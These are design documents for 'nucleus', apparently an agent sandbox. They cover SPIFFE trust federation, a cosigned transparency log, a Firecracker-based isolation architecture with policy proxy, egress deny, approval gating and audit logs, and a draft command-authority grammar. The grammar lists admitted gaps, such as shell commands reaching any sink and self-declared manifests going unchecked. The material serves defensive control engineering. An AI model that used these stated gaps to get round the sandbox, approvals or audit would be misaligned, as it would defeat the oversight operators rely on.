• Anti-rollback hardening beyond the spec — the spec only SHOULD compare spiffe_sequence; nucleus makes it a MUST: a fetched bundle whose sequence is not strictly greater than the last accepted is rejected, and the current good key set is kept (fail-safe — never blanked on a fetch error or rollback). This closes a key-rollback attack, which is exactly the failure-domain-diversity property at the identity layer.

2.5 Record which domains federate, auditably

nucleus-trust-registry is a PR-rooted, GitHub-OIDC-attested, transparency-logged SPIFFE federation-enrollment registry. It records which trust domains you federate with, who attested each, and produces a deterministic federation set that feeds the §2.4 validator (FederationStore), plus an append-only, witness-cosigned transparency log of every binding.

For the solo operator, the immediate real use is enrolling your own domains (prod/staging/edge/ci). Repo layout:

registry/
  .github/CODEOWNERS                 # path-scoped per-domain ownership
  domains/
    <trust-domain>/
      bundle.json     # SPIFFE bundle = JWK Set + spiffe_sequence
      metadata.toml   # trust_domain, owner_github_org, owner_id (numeric),
                      # bundle_endpoint_url, profile = "https_web"

Enrollment is a pull request; the verifier binary runs as a fail-closed gate, compiles the set, and seals the log:

nucleus-trust-registry verify-pr   # fail-closed PR enrollment gate
nucleus-trust-registry compile     # deterministic federation set
nucleus-trust-registry log-append  # append binding + seal cosigned STH

(The OIDC token request is enroller-side workflow config in .github/workflows/trust-registry.yml; the binary is the verifier.)

2.6 Verify with the in-browser WASM verifier (trust no server)

nucleus-verifier-wasm ships the same Rust verifier compiled to WASM, so anyone — including you — can verify a bundle in the browser or Node without trusting any hosted service, network path, or operator. A hosted verifier service is convenience; this is the trust root.

import init, { verifyBundle } from "@coproduct/nucleus-verifier-wasm";

await init();                                   // once per page
const bundle = await fetch("/your-bundle.json").then(r => r.text());
const trustAnchor = JSON.stringify({
  trust_jwks: { keys: [/* your OUT-OF-BAND JWKS — never the bundle's */] },
  // Optional knobs (real fields):
  // trusted_witnesses_hex: ["<witness-A-hex>", "<witness-B-hex>", "..."],
  // cosignature_threshold: 2,        // enforce your k-of-n at verify time
  // require_payload_binding: true,
});
const report = verifyBundle(bundle, trustAnchor);   // throws on failure

Note the trusted_witnesses_hex + cosignature_threshold knobs: this is where your k-of-n quorum (§2.2) is enforced at the point of verification — the verifier rejects a bundle that lacks a threshold of cosignatures from witnesses you trust.

There is a self-contained in-browser tamper demo (demo.html) that verifies a real execution-lineage bundle entirely client-side, then lets you corrupt it and watch the local verifier reject it. To prove there is no server round-trip, you can toggle DevTools → Offline and it still works:

cargo run -p nucleus-envelope --example emit_demo_bundle   # real fixtures
wasm-pack build sdks/verifier-js --target web --release    # build WASM
python3 -m http.server -d sdks/verifier-js 8000            # serve
# -> http://localhost:8000/demo.html

3. Honest framing (read this before you pitch it)

These caveats are not fine print — they are the difference between a credible system and an overclaim. Each is enforced or documented in the shipped code.

• Value = failure-domain diversity, NOT other organizations. A quorum of your own witnesses across regions/clouds/key-stores already gives you the un-rollback property with zero counterparties. Federating with other orgs is additive, never required. Do not sell the network effect as a prerequisite.

• fetched != trusted (transport integrity ⊥ provenance). A perfect BLAKE3 hash match guarantees you got exactly the bytes the publisher served — it says nothing about who produced them or whether they are policy-valid. A hash-perfect fetch can still FAIL nucleus_envelope::verify_bundle (e.g. forged/unknown issuer). You must always run verify_bundle with an out-of-band trust anchor. This is why nucleus bundle fetch makes --trust-anchor mandatory.

• A BLAKE3 transport hash is not a CID and is distinct from the envelope’s SHA-256 canonical hash. Don’t conflate them or treat the transport id as IPLD/IPFS-interoperable.

• The system is non-custodial — a registry + verifier, NOT a CA. The trust registry records, distributes, and verifies trust-domain → JWK-Set bindings. It is never a certificate authority and never holds a private key: it does not mint keys, sign on behalf of enrolled domains, or hold any private material. Each domain runs its own SPIFFE authority; the registry only pins the public JWK Set that domain publishes.

• OIDC proves GitHub-ORG control, not trust-domain ownership. The registry’s GitHub Actions OIDC proof-of-control proves the enrolling PR ran in a repo owned by the GitHub org whose numeric owner_id is pinned (the numeric pin defeats org-rename squatting). It does not prove you own the SPIFFE trust-domain name. A DNS-01-style trust-domain proof is a v2 item.

• Auditable ≠ un-backdoorable, and the MVP registry trust base is thin. The transparency log makes a misbehaving maintainer detectable, not impossible: a binding counts only if its leaf is in a witness-cosigned Signed Tree Head, so an out-of-band insertion that never entered the cosigned log is rejected and bundle tampering breaks the inclusion proof — but a maintainer colluding with the witness can still enroll a binding. The MVP registry trust base is a single maintainer + single witness; there is no threshold signing or key ceremony there yet (adding witnesses is a drop-in). This is separate from the §2.1–2.2 log witnesses, which you should already run k-of-n.

• Integrity-axis verification scope (the theorem). The merged Lean noninterference theorem is proven over the Aeneas-extracted enforcement core (extracted from the real Rust in crates/portcullis-core/src/extracted/ifc_integrity.rs) and its #print axioms audit is [propext, Classical.choice, Quot.sound] — no sorryAx, no opaque external axiom. But its scope is the integrity axis (Biba “no read-down / no write-up” for integrity), not confidentiality, and it bounds the enforcement model. The WASM verifier proves lineage is tamper-evident (hash chain + Merkle inclusion) and authentic (signed/cosigned by keys in your trust anchor). Neither proves the agent behaved well, that confidentiality held, or that any computation was correct — those are separate guarantees. Do not claim end-to-end correctness.

• A metered tier exists only as a dormant seam — there is no payment today. A valid cosignature (witness), a verified-byte fetch (bundle-cas), and a cross-domain validation (federation) are each natural units of proven work, documented as future metering points for a possible parallel paid tier (priced by nucleus’s verified VCG/Pigou clearing, settled over x402/L402). None of that billing logic exists: no payment, no accounting, no token, no counter is wired anywhere. The seams are documented only so a future paid tier is additive, not a rewrite — and per the Tor lesson, any such tier would meter only proven work and run alongside (never tax) the volunteer commons. C2SP itself flags witness funding as an unsolved open problem; this is one possible answer, not a settled one.

4. Why this beats hand-edited SPIRE federation config or a single log

vs. a single trusted log. A lone transparency log is vulnerable to the “split-view” attack — a compromised log can present different signed tree heads to different clients and rewrite history without breaking its own consistency proofs. The standard defense (Sigstore, the C2SP witness protocol) is multiple independent witnesses that co-sign tree heads. Nucleus lets you be those witnesses across your own failure domains, and enforce a k-of-n quorum at verify time. One compromised box can no longer rewrite your history; an attacker needs a threshold compromise spanning regions/clouds/key-stores.

vs. hand-edited SPIRE federation config. Plain SPIRE federation is a set of YAML federates_with entries, hand-maintained, with the trust- domain → bundle-endpoint binding sitting in config files that nobody co-signs and nothing logs. Nucleus keeps SPIRE’s actual federation mechanism (SPIFFE bundle endpoints, the https_web profile, JWT-SVID validation — it reuses the spec, it doesn’t reinvent it) but adds three things a raw config file can’t give you:

1. An auditable, append-only enrollment record — every binding is a PR with GitHub-OIDC proof-of-control (numeric-owner_id pinned against rename squatting) and lands in a witness-cosigned transparency log, so a silently-added or backdated federation entry is detectable.
2. Spec-exceeding anti-rollback — the inbound validator makes the spiffe_sequence monotonicity check a MUST and keeps the last-good key set on any rollback or fetch error, closing a key-rollback hole the spec leaves as a SHOULD.
3. A deterministic, reproducible federation set — compile produces the same set from the same registry, instead of relying on whatever a human last edited into a YAML file.

The net: SPIRE gives you the plumbing; nucleus gives you the evidence that the plumbing wasn’t quietly re-wired — and it does so non-custodially, across failure domains you already control, before any second organization is involved.

Sources & references

• “Come for the tool, stay for the network” — cdixon (2015)
• HashiCorp Vault Seal HA / auto-unseal across regions+providers — Vault Seal concepts, Transit auto-unseal best practices
• Sigstore witnesses & the log split-view attack — Sigstore security model, witnessing Sigstore
• SPIRE / SPIFFE federation (bundle endpoints, single-server SPOF) — SPIRE server config, scaling SPIRE
• MPC / threshold signing “no single point of failure” framing — CertiK: What is MPC, Fireblocks: MPC vs multi-sig
• C2SP tlog-witness spec — c2sp.org/tlog-witness
• Sigsum policy grammar — sigsum-go policy doc

Architecture Overview (25k plan)

Goals

• Enforce all side effects via a policy-aware proxy inside a Firecracker VM (Firecracker driver).
• Treat permission state as a static envelope around a dynamic agent.
• Default network egress to deny; explicit allowlists only (host netns iptables + guest defense).
• The node provisions a per-pod netns, tap interface, and guest IP; guest init configures eth0 from kernel args.
• Netns setup enables bridge netfilter (br_netfilter) so iptables can enforce guest egress.
• Approvals require signed tokens issued by an authority (HMAC today; external authority roadmap).
• Provide verifiable audit logs for every operation (signed + verified).

Trust Boundaries

Agent / Tool Adapter
  |  (signed HTTP)
  v
Host Control Plane (nucleus-node + signed proxy)
  |  (vsock bridge, no guest TCP)
  v
Firecracker VM (nucleus-tool-proxy + enforcement runtime)
  |  (cap-std, Executor)
  v
Side effects (filesystem/commands)

Boundary 1: Agent -> Control Plane

• Requests are signed (HMAC today; asymmetric is roadmap).
• Control plane forwards only to the VM proxy.

Boundary 2: Control Plane -> VM

• Use vsock only by default; guest NIC requires an explicit network policy and host enforcement.
• Host enforcement uses nsenter + iptables inside the Firecracker netns (Linux only).
• By default the guest sees only proxy traffic; optional network egress is allowlisted.

Boundary 3: VM -> Host

• No host filesystem access except mounted scratch.
• Rootfs is read-only; scratch is per-pod and limited.

Components

nucleus-node (host)

• Pod lifecycle (Firecracker + resources).
• Starts vsock bridge to the proxy.
• Applies cgroups/seccomp to the VMM process.
• Starts a signed proxy on 127.0.0.1.

approval authority (host, separate process, roadmap)

• Issues signed approval bundles (roadmap).
• Logs approvals with signatures.
• Enforces replay protection and expiration.

nucleus-tool-proxy (guest)

• Enforces permissions (Sandbox + Executor).
• Requires approvals for gated ops (counter-based today; signed requests required; bundles are roadmap).
• Writes signed audit log entries (verifiable with nucleus-audit).
• Guest init (Rust) configures networking from kernel args and then execs the proxy.
• Guest init emits a boot report into the audit log on startup.

policy model (shared)

• Capability lattice + obligations.
• Normalization (nu) enforces uninhabitable state constraints.

Data Flows

Tool call

1. Adapter signs request (if enabled).
2. Signed proxy injects auth headers (if enabled).
3. Proxy enforces policy and executes side effect.
4. Audit log records action (and optional signature).

Approval

1. Agent requests approval.
2. Proxy records approval count for the operation.
3. Approval count is consumed for gated ops.

Non-goals (initial)

• Multi-tenant scheduling across hosts.
• Full UI control plane.
• Zero-knowledge attestation.

Progress Snapshot (Current)

Working today

• Enforced CLI path via nucleus-node (Firecracker) + MCP + nucleus-tool-proxy (read/write/run).
• Runtime gating for approvals, budgets, and time windows.
• Firecracker driver with default‑deny egress in a dedicated netns (Linux).
• Immutable network policy drift detection (fail‑closed on iptables changes).
• DNS allowlisting with pinned hostname resolution (dnsmasq in netns, Linux).
• Audit logs are hash‑chained, signed, and verifiable (nucleus-audit).

Partial / in progress

• Web/search tools not yet wired in enforced mode.
• Approvals are runtime tokens; signed approvals are required. Preflight bundles are planned.
• Kani proofs exist; nightly job runs, merge gating and formal proofs are planned.

Not yet

• Remote append‑only audit storage / immutability proofs.

Invariants (current + intended)

• Side effects should only happen inside nucleus-tool-proxy (host should not perform side effects).
• Firecracker driver should only expose the signed proxy address to adapters.
• Guest rootfs is read-only and scratch is writable when configured in the image/spec.
• Network egress is denied by default for Firecracker pods when --firecracker-netns=true; if no network policy is provided, the guest has no NIC and iptables still default-denies.
• Monotone security posture: permissions and isolation guarantees should only tighten (or the pod is terminated), never silently relax after creation.
  • Seccomp is fixed at Firecracker spawn.
  • Network policy is applied once and verified for drift (fail‑closed monitor).
  • Permission states are normalized via ν and only tightened after creation.

A command grammar for nucleus

Draft, 2026-09-15. What an operator may type, the authority it demands, and the laws relating the two — written after measuring that the demand is currently written nowhere, so the sections that matter most are the ones listing laws that do not hold and where the grammar would be decoration.

The thesis in one line: a command’s required authority should be an index on its grammar term, derivable by structural recursion, not attached by convention.

What this is written against

Three facts, each re-derivable from the cited files rather than asserted.

1. No operator command touches the permission vocabulary. grep -rn "Act::\|preflight_action" crates/nucleus-cli/src/ returns zero lines. preflight_action has call sites in portcullis-effects/src/runtime.rs, portcullis/src/kernel.rs and nucleus-tool-proxy/src/run_gate.rs, and none in the CLI. The CLI imports PermissionLattice in six files, but only to construct policy for the guest. Every one of the CLI’s 51 leaves has its own authority decided by nothing.

2. The two halves of verify sit at opposite ends of the authority order, at the same nesting depth. crates/nucleus-cli/src/verify.rs (1357 lines) boots a Firecracker pod, downloads pinned artifacts, and re-invokes itself inside a Lima VM. manifest verify, identity verify, token verify, envelope-verify, verify-attestation and lineage-verify-chain read a file and compare bytes to a key. Same word. One is the most authority-demanding command in the tree; six are the least. Counted 2026-09-15: 7 verification entry points, 4 of them top-level.

3. Exit status is not a contract. main() (nucleus-cli/src/main.rs) returns anyhow::Result<()>, so a missing file, a malformed JWT and a genuine policy violation all leave the process with status 1. Beside it, goal.rs:49 defines EXIT_NEEDS_CONFIRMATION = 2 — while crates/ci-spec/src/lib.rs:26-32 already documents the repository’s contract, “0 clean, 1 a violation, 2 could not look … Reporting ‘we could not look’ as a pass is the exact vacuity the invariants exist to find”, with Report::exit_code implementing it. Two meanings for 2 in one binary family, and the CLI uses neither.

Fact 1 is the thesis. The grammar exists to make facts 2 and 3 derivable consequences rather than matters of taste.

Sorts

Act        := portcullis_core::Act            -- act.rs:330, 13 variants
Operation  := nucleus_ifc_kernel::Operation   -- ifc_ops.rs:23
SinkClass  := nucleus_ifc_kernel::SinkClass   -- ifc_ops.rs:220, 19 variants
Band       := Observe | Emit | Reach
Authority  := the PermissionLattice, ordered by ≼
Evidence   := DischargedBundle                -- nucleus-ifc-kernel/src/discharge.rs
Cmd        := atom(Act) | skip | Cmd ; Cmd | Cmd +_b Cmd
Refusal    := a named reason, never a silent fallback

Only Cmd and Band are new, and Band is a two-bit projection of predicates that already exist. Everything else is already proven about; the grammar’s job is to reach it, not replace it.

Which SinkClass. There are two, and picking the wrong one silently defeats the whole design. portcullis_core::manifest::SinkClass (manifest.rs:41) has five variants and is a tool-manifest self-declaration — its own header says it is “NOT yet wired into the MCP mediation layer or Kernel::decide()” and that “a malicious tool can lie”. nucleus_ifc_kernel::SinkClass (ifc_ops.rs:220) has 19 and is what Act::sink_class() returns and what the kernel gates on. The grammar indexes on the kernel’s. An earlier draft of this document used the manifest’s, which would have indexed authority on self-declarations — the exact failure the seal discipline exists to prevent, one layer up.

Operations

req  : Cmd → Authority        structural recursion, total
band : Cmd → Band             the coarse projection that names commands

req(skip)      = ⊥
req(atom(a))   = least lattice element admitting a
req(p ; q)     = req(p) ⊔ req(q)
req(p +_b q)   = req(p) ⊔ req(q)              join, not meet — see C2

band(c) = Reach   if some atom's Operation::is_exfiltration_vector()
        = Emit    else if some atom's Operation::is_mutation()
        = Observe otherwise

Both band predicates are existing sealed-trait methods (ifc_ops.rs:96, :103), so band is a fold over things the kernel already computes.

+_b is GKAT’s predicate-guarded choice rather than KAT’s unrestricted union. The one real instance in the tree is verify.rs’s --here flag, which guards on “am I already inside the Lima VM” and either delegates into a VM or runs locally — p +_b q written by hand.

Guarded iteration is deliberately absent, and its absence is a decision rather than a backlog. Nothing in the surface loops over a permission test. The cheap argument stops there — an operator with no inhabitants is decoration — but this repository can make the stronger one, because it has mechanized both sides of the line. crates/portcullis-core/lean/ holds 23 Gkat*.lean files, ~5600 lines, in the proven tier. That is a checked status, not a label: all 23 are on the lake build list of .github/workflows/portcullis-core-proven-lean.yml, and none appears between the GATE-ALLOWLIST markers in crates/portcullis-core/lean/CONJECTURES.md — the research tier, the only place a sorry is permitted. Read against that body, the line between the loop-free fragment and the loop is not taste:

• Loop-free sits inside the proved region. GkatKleeneProofs.lean:995 (acyclic_expressible) synthesizes an expression for every acyclic automaton via buildSol — in the file’s own words, “with no wh, no fixpoint, no UA” — and :1007 (acyclic_flat_expressible) discharges even the assumed rank, deriving strict descent across every live edge from acyclicity via the SCC rank reachCount.
• The loop is where the open questions are. wh is a unique fixed point only under a guardedness side condition, and completeness is open — docs/theory/gkat-fixed-point.md, with the inexpressibility frontier in docs/theory/gkat-inexpressibility-plan.md.

So the fragment proposed here is the fragment whose expressibility this repository has already machine-checked, and the operator it omits is the one carrying every caveat. That is a better reason than “nothing loops today”, and it is the reason worth recording.

Laws that hold

C1 — req is a monoid homomorphism. (Cmd, ;, skip) → (Authority, ⊔, ⊥). This is what makes “authority is derivable, not declared” operational: a composite’s requirement is computed by a fold, never re-declared. It is the command-surface image of the narrowing at cert_bridge::intersect_grant_with_certificate, which is a meet — authority narrows as it delegates downward and joins as commands compose upward, the same fact from two ends.

C2 — a guard demands the join, not the branch taken. The operator must hold authority for the branch not taken, because b is evaluated at run time against host state the grantor could not see. A grant covering only the taken branch would be issued against a fact nobody checked. This is the CLI analogue of the kernel’s own fail-closed rule: WithinDelegationCeiling denies when either the ceiling or the requested level is absent, rather than assuming the favourable case.

C3 — an atom’s demand is a total function of its Act, computed in one place. No flag, no config file, no environment variable may enter. Act already carries its target structurally rather than as a re-parsed string, so req(atom(a)) has everything it needs from a.

C4 — band factors through (Operation, SinkClass) and does not see the path, the argv or the pattern. Both projections are exhaustive matches over enums deliberately not #[non_exhaustive], so a new verb is a compile error everywhere. Consequence: the head word of a command is a function of its band, and that is mechanically checkable.

C5 — authority composes; evidence does not. req(p;q) = req(p) ⊔ req(q) does not license one DischargedBundle for both atoms. A bundle binds the operation, sink class and subject it was minted for, because without that binding “a bundle earned for a workspace write was structurally usable to authorise a shell spawn” — the confused deputy, in the tree’s own words. ADR 0007’s load-bearing example f7f9719b is exactly this failure.

Laws that do NOT hold, with evidence

¬A1 — req is not sound in the presence of Act::Run. Run { argv } projects to SinkClass::BashExec, and the kernel’s own documentation says why that is a lower bound rather than a classification: “a single operation can map to different sink classes depending on context” (ifc_ops.rs:206-212). A shell command reaches any sink. verify.rs is the worst case: it shells out and re-invokes itself inside a VM, so the acts the term performs are an inner process’s, invisible to the outer term. Therefore: a term containing Run with non-literal argv has no derived band and is assigned Reach by fiat. CommandLattice (portcullis/src/command.rs) narrows this for literal argvs and is the only path to deriving rather than asserting — but it decides a grant, not a classification, and it does not follow a subprocess. This is the largest hole and this document does not close it.

¬A2 — req is not the meet on choice, and +_b is not a lattice operation on terms. Two tempting errors. “You only need authority for the branch you take” is false whenever the guard reads state the grantor did not fix — verify --here is the live counterexample, where a grant issued on macOS would silently cover the Linux branch’s pod boot. And there is no order on Cmd at all: ⊔ above is the join on Authority, not on terms.

¬A3 — term equality is not observational equality, and two in-house theorems say a rewriter may not pretend otherwise. GKAT’s equational theory is over uninterpreted actions. Atoms here are not pure: Write{path} twice leaves a different world than once if anything appends or rotates. So p ; p ≡ p does not hold and the algebra may not justify de-duplication, caching, or skipping a step. This is where it differs from build-ops, whose L1 does license admit answering one request with another’s evidence.

Two proved results push this past an argument from prudence, and each refutes a rewrite an optimizer reaches for first:

• A prefix may not be pushed past a guard. GkatGuardedStringProofs.lean:509 (left_distrib_not_gkat_theorem) proves p·(1 +_c 0) ≢ (p·1) +_c (p·0), from a two-atom countermodel at :484: on the left the guard c is read at the end atom, on the right at the start. A guard reads the state the prefix just changed. Here that is verify --here, which guards on “am I already inside the VM” — hoisting any step across that guard changes the world the guard sees. C2 is this fact stated forward; this is its proof.
• A precondition is not a test. GkatObservationProofs.lean:113 (wp_not_definable) exhibits a weakest precondition that no GKAT test denotes, because it splits two observationally equivalent states. “Compute what this command would need and fold it into the guard” is therefore not expressible in general — and that is exactly the shape of a req-aware optimizer.

¬A4 — the band does not bound the blast radius. Observe contains both “read a tool manifest” and “read a private key”: SinkClass::SecretRead is a read, hence Observe, and it is the most dangerous read in the enum. Separating those is PathLattice’s job. The band does not do it and must not be described as doing it.

¬A5 — requires is not injective, and cannot generate the taxonomy. Distinct commands legitimately share a requirement: manifest verify and token verify both need nothing. So req is a refutation test — it can show a grouping conflates different requirements, and cannot produce the right grouping. The consequences below use it only that way.

¬A6 — the grammar does not detect a lying manifest. manifest.rs:56-59 already concedes that a ToolManifest is self-declared and that catching a lie needs runtime behavioural verification which does not exist. The grammar inherits that hole; it neither widens nor closes it.

¬A7 — exit codes do not form the lattice the verdicts do. A process returns one byte, so the verdict must project onto a chain and the projection is lossy. The measured instance is next door: gatehouse’s assure all (crates/xtask/src/main.rs:71) computes if codes.iter().any(|c| *c != SUCCESS) { 1 }, so seven clean gates plus one that could not look reports 1 (violation) — contradicting the contract documented four lines above it in the same file. Found by writing this law down.

¬A8 — a set of guarded strings is not a command denotation. The tempting shortcut is to model a command by the traces it admits and compare sets. Two proved results say that map is not onto. GkatCoequationProofs.lean:228 (W_not_subset_den) exhibits a behavior in the nesting coequation W that no expression denotes — it both halts and steps at one atom, which an expression cannot do — so the characterization holds only over deterministic behaviors. And :338 (halt_not_bexp_not_den) shows expressibility forces the halt-set to be BExp-definable, so a behavior halting on a non-definable set of atoms is denoted by nothing at all. The consequence for this document is concrete: req is defined on terms, never on trace sets. A trace set has no term to recurse on, and may correspond to no term.

What the grammar should refuse to express

• A command whose req is declared rather than derived. If it cannot be computed from the term, the term is wrong.
• One verb spanning two bands. See below.
• A flag that changes a term’s band. A band is a property of the command; a flag that moves it means two commands share a name. Live instances: xtask bound --measure, xtask scorecard --measure, xtask action-inputs --network (Observe vs Reach), and nucleus verify --print-pins versus verify --tier2 — one prints JSON and exits, the other boots a VM.
• A command configured entirely by environment, whose authority cannot be read off any term.

Consequences for the command surface

An algebra with no consequence for the 51 leaves would be decoration.

The seven verification entry points split by band, not by taste. Criterion: req = ⊥ or not. The six document checkers — manifest verify, identity verify, token verify, envelope-verify, verify-attestation, lineage-verify-chain — read a file and compare bytes: same band, same exit contract, same shape. They are one verb with six objects. The seventh, nucleus verify --tier2, boots a pod: band Reach, and it is not verify at all — it is a self-test, and should say so.

xtask’s 31 flat commands take a namespace, but not one. Most decide from committed files alone (assure); some report a number and cannot fail on content (measure); a few touch an endpoint — ci-otel POSTs OTLP, schedule-liveness shells to gh api (reach). A single assure namespace would be wrong here even though gatehouse’s ten fit under one, because nucleus’s set is band-heterogeneous and gatehouse’s is not.

One exit contract, and it already exists. Adopt ci-spec’s 0 clean, 1 violation, 2 could not look verbatim rather than restating it — the repository wrote this contract down and implemented it in Report::exit_code, and the CLI simply does not use it. goal.rs’s EXIT_NEEDS_CONFIRMATION = 2 means “deferred to a human”, which is a third thing and needs its own code.

The command surface earns a STABILITY.md row once the grammar is applied, not before. STABILITY.md freezes four action vocabularies — the 12 Operation variants, ExposureLabel, CapabilityLevel, and the MCP tools — and says nothing about commands. Freezing 51 leaves the grammar is about to rename would freeze the mess.

Enforcement

Per ADR 0007 every rule names its tier, so “review” reads as a gap rather than as coverage.

The mechanised row checks totality, not correctness. A leaf declared observe that boots a VM passes. Stating that is the difference between a gate and a comment — FINDINGS.md F-52, where a pin nothing read was described for a week as a control. The property it does establish is exactly: the surface cannot grow a command whose authority nobody wrote down.

A-19, measured 2026-09-15, both directions on the real defect rather than a synthetic one:

The sink-name rule is review-tier because a gate for it would be vacuous. SinkClass carries #[serde(rename_all = "snake_case")] and all 19 variants are compound — workspace_write, bash_exec, secret_read — while every head word is a single token. The check cannot fire today or plausibly ever, and a gate that only ever passes proves nothing. Writing it would have bought a green light for free, which is the failure mode this repository spends the most effort hunting.

“xtask” is a fourth tier ADR 0007’s table does not list, though the repository runs 32 of them and CLAUDE.md mandates them. If this design is adopted, that table should gain the row rather than this document pretending the gate is a dylint.

Relation to gatehouse’s build-ops algebra

Siblings, not overlapping. gatehouse/docs/build-ops-algebra.md factors what is being built — Spec × Tree × Scratch, with Prog as identity. This factors who may ask — Act → Cmd → Authority, with req as index.

They meet at one arrow: build-ops’ run : Build → Result + Refusal is, here, a single atom of band Reach, and its Refusal is the same object as a hard-gate refusal. A build controller invoking nucleus is an operator.

One difference worth naming rather than smoothing: build-ops’ L1 licenses substituting one result’s evidence for another’s when keys match. ¬A3 and C5 both forbid the analogous move. Authority is not a cache.

What this does not claim

• It does not claim the kernel enforces the CLI. Measured: zero Act:: and zero preflight_action call sites under crates/nucleus-cli/. This grammar makes authority derivable and stated; it does not make it decided. Wiring preflight_action into operator commands is a separate change with its own unanswered question — whose grant does an operator at a terminal hold.
• It does not claim a decision procedure, or completeness. These are the two things a reader would assume from the name, and neither is available. There is decidable membership — GkatDecisionProofs.lean:44 (den_run) turns “does ⟦e⟧ accept (a,w)?” into following a deterministic derivative run — but no assembled decision procedure for equivalence: that file’s own header calls bounding emptiness and equivalence by the finiteness of derivs e “the remaining engineering”, and no Decidable (⟦e⟧ = ⟦f⟧) instance is written. GKAT equational completeness is likewise neither proved here nor assumed here; what is proved is the coalgebraic bisimulation characterization, in both directions. req is a fold, not a solver, so nothing here needs either — but “we use GKAT” must not be read as “equivalence is decided for us”.
• It does not claim the Lean development is wired to anything. Measured 2026-09-15: grep -rn "Gkat\|GKAT\|guarded_string" crates --include='*.rs' returns zero lines. The proofs and the Rust tree do not touch. This document proposes a grammar shaped by the proved fragment; it proposes no extraction path from one to the other, and contains none.
• No proof. There is no Lean or Kani artifact behind C1–C5.
• No migration. This decides the shape; renaming 51 leaves is a breaking change to a public-but-unfrozen surface and needs its own compatibility call.
• Nothing about the ~26 leaves in adjacent binaries (nucleus-audit, nucleus-perf, nucleus-trust-registry, nucleus-mcp-guard), which overlap the CLI’s nouns and need the same treatment.
• It does not reduce risk; it reduces ambiguity. No command becomes safer because it is renamed. What changes is that a reader can tell, from the head word, whether the thing is about to boot a microVM.

Where this would be decoration

Stated plainly, because the alternative is shipping a type with no inhabitants.

Every one of the 51 leaves today is either a single atom or an opaque Run. There are no composite commands written in Rust — the compositions live in shell and in verify.rs’s self-re-invocation. So ; and +_b would be operators with nothing to operate on. They are written down here because the sorts need them to be coherent; they should be constructed the day the first composite command is written in Rust, and not before.

This is a statement about CLI leaves, not about nucleus. The node API and the guest’s vsock protocol are used as sequences, and their laws are sequencing laws — one-shot absorption, cancel absorption, personalisation before snapshot. Those are the subject of command-walk.md, which checks them by a random walk against a model.

What is load-bearing today, and is the whole of v1: each leaf declares its band; one gate checks that declaration is total in both directions; the exit contract is adopted from ci-spec; and the renames above follow. The head-word/sink-name rule is not in that gate — it is review-tier, for the reason given under Enforcement.

A command walk for nucleus

Draft, 2026-09-15. One many-sorted signature covering the node’s HTTP API, the guest’s vsock workload API, and the CLI’s artifact operations — specified tightly enough that a random walk can compute the enabled set from its own model and use the disabled set as an oracle.

Two companions, one on each side:

• command-grammar.md indexes each CLI leaf by the authority it demands. It finds no inhabitants for ; among the CLI’s leaves, which is true of the CLI. The surfaces here are the other case: the node API and the guest’s vsock protocol are used as sequences, and every law below is a law about one.
• Gatehouse’s build-ops algebra (a design document in the private gatehouse repository, not linked from here) does the same job for the build lane. Its sorts (Spec, Tree, Scratch, Prog) are imported here unchanged; this document adds the pod, the guest, and the artifact. Nothing below depends on reading it.

Why algebraic and not pre/post

Pre/post conditions specify each operation against a hidden state you have to describe to state them. Equations specify compositions — cancel ; cancel = cancel needs no account of what a pod record looks like. The argument that equations are the better fit for generic APIs is Meyer’s; the reason it matters here is narrower. Nucleus’s headline claim is a statement about compositions: no host conclusion depends on anything a guest said. That is not a postcondition of any one operation. It is an equation over sequences (A6 below), and it is only expressible in a grammar that has sequencing in it.

So: three judgments per operation — a precondition pre, an effect eff on an abstract state, an observation obs — plus a separate layer of equations that quantify over sequences. The first three drive the walk. The equations are what the walk is for.

Carriers

The signature is many-sorted, and the sorts matter because they decompose the walk. Three carriers, one bridge:

Pod      -- the node's live state: pods, their lineage, their served capabilities
Artifact -- receipts, envelopes, lineage chains, bundles, manifests: bytes on disk
Build    -- Spec x Tree x Scratch, imported from gatehouse’s build-ops algebra

Artifact operations never read or write Pod. Pod operations never read Artifact except through the bridge. The bridge is exactly three operations — run, receipt, ship — and everything else factors. A walker may therefore run two independent sub-walks and only needs the product walk across the bridge, which is where the interesting failures are and where the budget should go.

Principals

Every operation is indexed by who issues it. This is not decoration; pre reads it.

Principal := Anon | Operator(scope) | Pod(id) | Guest(pod) | Node

Guest(p) is the principal inside pod p speaking over vsock. It is distinct from Pod(p), the principal that authenticated to the node’s HTTP API as pod p, because their authorities differ and the difference is the architecture: Guest says things, Pod proves them.

Abstract state

The walker maintains this and nothing else. It must be small enough to carry exactly, and complete enough to decide every pre. It is both.

Sigma = { pods : PodId -> PodRec, node : NodeRec }

PodRec = {
  parent   : Option<PodId>,
  phase    : Booting | Running | Exited(Option<i32>) | Errored | Cancelled,
  prog     : ProgramId,          -- digest of the IN-projection of the spec
  served   : Set<VsockOp>,       -- the one-shot ledger
  barrier  : Bool,               -- SNAPSHOT_READY announced
  mount    : NeverMounted | Mounted | Unknown,
  bootargs : PerPod | Shared,
}

Two derived predicates do most of the work, and both already exist in the code:

may_manage(c, p)  =  c = None  or  parent(p) = Some c  or  p = c
personalized(p)   =  exists v in served(p) . personalizes_the_vm(v)

may_manage is pod_api::caller_may_manage — direct children and self, not the transitive closure. personalizes_the_vm is the exhaustive match in workload_api_protocol.rs, which the compiler already forces to classify every new command. The grammar does not introduce a new classification; it consumes the one the build already refuses to let drift. A new vsock command cannot be added without answering the question the walker’s model reads.

Signature: the Pod carrier

Node HTTP surface. p! marks a subject that must exist.

create  : Principal x PodSpec              -> PodId + Refusal
list    : Principal                        -> [PodInfo]
cancel  : Principal x p!                   -> Ack + Refusal
logs    : Principal x p!                   -> Bytes + Refusal
result  : Principal x p!                   -> WorkloadResult + Refusal
receipt : Principal x p!                   -> Receipt + Refusal        (bridge)
stdout  : Principal x p!                   -> Bytes + Refusal
stderr  : Principal x p!                   -> Bytes + Refusal
snapshot: Principal x p!                   -> Base + Refusal
health  : Principal                        -> Ok
oidc    : Principal x Token                -> Assertion + Refusal

Guest vsock surface. Every one is issued by Guest(p) and by nobody else; the socket is per-pod and the host knows which pod it belongs to without being told.

ping     : Guest(p)                        -> Pong
bundle   : Guest(p)                        -> TrustBundle
pod_list : Guest(p)                        -> [PodInfo]
svid     : Guest(p)                        -> Svid
task_tok : Guest(p)                        -> Token
dlc      : Guest(p)                        -> Admission
pod_cert : Guest(p)                        -> Cert
caller   : Guest(p)                        -> Token
pod_spec : Guest(p)                        -> PodSpec
broker   : Guest(p)                        -> Secret + Refusal(Repeat)
audit    : Guest(p)                        -> Creds  + Refusal(Repeat)
mediate  : Guest(p)                        -> Key    + Refusal(Repeat)
